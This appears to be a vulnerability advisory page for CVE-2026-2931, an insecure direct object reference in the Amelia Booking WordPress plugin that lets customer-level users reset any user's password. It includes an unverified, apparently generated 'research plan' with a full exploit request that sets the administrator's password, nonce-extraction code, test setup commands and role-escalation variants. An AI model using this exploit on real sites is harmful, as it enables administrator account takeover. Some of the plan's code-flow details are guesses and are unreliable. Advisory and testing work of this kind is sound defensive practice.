CVE-2026-2931

Amelia Booking <= 9.1.2 - Authenticated (Customer+) Insecure Direct Object Reference to Arbitrary User Password Change

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
9.2
Patched in
1d
Time to patch

Description

The Amelia Booking plugin for WordPress is vulnerable to Insecure Direct Object References in versions up to, and including, 9.1.2. This is due to the plugin providing user-controlled access to objects, letting a user bypass authorization and access system resources. This makes it possible for authenticated attackers with customer-level permissions or above to change user passwords and potentially take over administrator accounts. The vulnerability is in the pro plugin, which has the same slug.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=9.1.2
PublishedMarch 25, 2026
Last updatedMarch 26, 2026
Affected pluginameliabooking

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This plan outlines the research and exploitation strategy for **CVE-2026-2931**, an IDOR vulnerability in the Amelia Booking plugin that allows authenticated customers to change the password of any user, including administrators. ### 1. Vulnerability Summary The Amelia Booking plugin (up to 9.1.2) …

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2026-2931, an IDOR vulnerability in the Amelia Booking plugin that allows authenticated customers to change the password of any user, including administrators.

1. Vulnerability Summary

The Amelia Booking plugin (up to 9.1.2) contains an Insecure Direct Object Reference (IDOR) in its user management logic. The plugin exposes internal API routes via admin-ajax.php (action: wp_amelia_api) or the REST API. When a user (even with "Customer" permissions) attempts to update a profile, the backend fails to verify that the id of the user being modified matches the id of the currently authenticated user. By providing an arbitrary user ID (e.g., ID 1 for the administrator), an attacker can trigger a password reset for that account.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: wp_amelia_api (This is the primary gateway for Amelia's internal Slim-based router).
  • Route: /users/{id} (PUT/POST request).
  • Vulnerable Parameter: The {id} in the URL path and/or the id within the JSON payload.
  • Payload Parameters: password, password_confirm (or passwordConfirm), and email.
  • Authentication: Authenticated. The attacker must have a user account with at least the "Amelia Customer" role.
  • Preconditions: The Amelia plugin must be active, and a "Customer" user must be created.

3. Code Flow (Inferred)

  1. Entry Point: The request hits AmeliaBooking\Infrastructure\WP\Helper\WpDateTimeHelper (or similar bootstrap) which registers the wp_ajax_wp_amelia_api and wp_ajax_nopriv_wp_amelia_api hooks.
  2. Routing: The wp_amelia_api handler passes the route parameter to Amelia's internal Slim application container.
  3. Controller: The route /users/{id} is mapped to a controller, likely AmeliaBooking\Application\Controller\User\UserController::update or CustomerController::update.
  4. Vulnerability: Inside the update method, the code retrieves the user object based on the $params['id']. It performs a capability check (e.g., is_user_logged_in()) and verifies a nonce, but it does not check if the authenticated user's ID matches the target $params['id'], nor does it restrict "Customers" from modifying "Administrators".
  5. Sink: The controller calls a service (e.g., UserService) which eventually calls wp_set_password($new_password, $user_id).

4. Nonce Acquisition Strategy

Amelia requires a nonce for its API requests, usually localized as wpAmeliaNonce.

  1. Shortcode Identification: Amelia's customer panel is typically rendered via the [ameliacustomerpanel] shortcode.
  2. Setup: Create a page containing this shortcode.
  3. Extraction:
    • Navigate to the page as the authenticated "Customer" user.
    • The nonce is usually found in the ameliaBookingData or wpAmeliaLabels global JavaScript objects.
    • JS Extraction Command:
      browser_eval("window.ameliaBookingData?.nonce || window.wpAmeliaLabels?.nonce")
      
    • Note: If the nonce is passed via a header, it is typically Amelia: <nonce>.

5. Exploitation Strategy

The exploit involves sending a POST (or PUT simulated via POST) request to the Amelia API handler targeting the administrator ID.

  • Step 1: Authentication: Log in as a user with the Amelia Customer role.
  • Step 2: Target Identification: Identify the Administrator ID (Standardly 1).
  • Step 3: Construct the Request:
    • URL: http://<target>/wp-admin/admin-ajax.php?action=wp_amelia_api&route=/users/1
    • Method: POST
    • Headers:
      • Content-Type: application/json
      • Amelia: <NONCE_EXTRACTED_IN_STEP_4>
    • Payload:
      {
        "id": 1,
        "password": "PwnedPassword123!",
        "passwordConfirm": "PwnedPassword123!",
        "email": "admin@example.com"
      }
      
    • Note: Amelia routes sometimes require a PUT method. Since admin-ajax.php is primarily POST, Amelia often checks for a _method: PUT field in the JSON or uses the route query param logic to determine the controller action.

6. Test Data Setup

  1. Administrator: Ensure a user with ID 1 exists (default).
  2. Attacker User:
    wp user create attacker attacker@example.com --role=subscriber
    # Amelia roles are often managed via its own settings, but 'subscriber' is sufficient for the WP login.
    # Ensure the user is recognized as an Amelia Customer by booking a dummy appointment or via:
    wp amelia create_user --id=attacker_wp_id --type=customer (if CLI available)
    
  3. Public Page:
    wp post create --post_type=page --post_title="Amelia Panel" --post_status=publish --post_content='[ameliacustomerpanel]'
    

7. Expected Results

  • Success Response: The server returns a 200 OK with a JSON object containing the modified user data: {"status": "success", "data": {...}}.
  • Effect: The password for the user with ID 1 is immediately changed to PwnedPassword123!.
  • Failure Response: A 403 Forbidden (nonce/auth failure) or 401 Unauthorized.

8. Verification Steps

  1. Attempt Login: Try to log in as the administrator with the new password using the http_request tool.
  2. WP-CLI Check:
    # Check the user's last password change date if meta is tracked, 
    # or simply verify login capability:
    wp user check-password 1 "PwnedPassword123!"
    
    Expected output: Success: Password is correct.

9. Alternative Approaches

  • REST API Path: Amelia also registers REST routes. If the AJAX endpoint is blocked, try:
    POST /wp-json/ameliabooking/v1/users/1
  • Field Variation: Some Amelia versions use different camelCase vs snake_case for parameters. If passwordConfirm fails, try password_confirm.
  • Role Escalation: Check if the payload accepts a role parameter (e.g., "role": "admin"), which would be a direct privilege escalation via the same IDOR.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.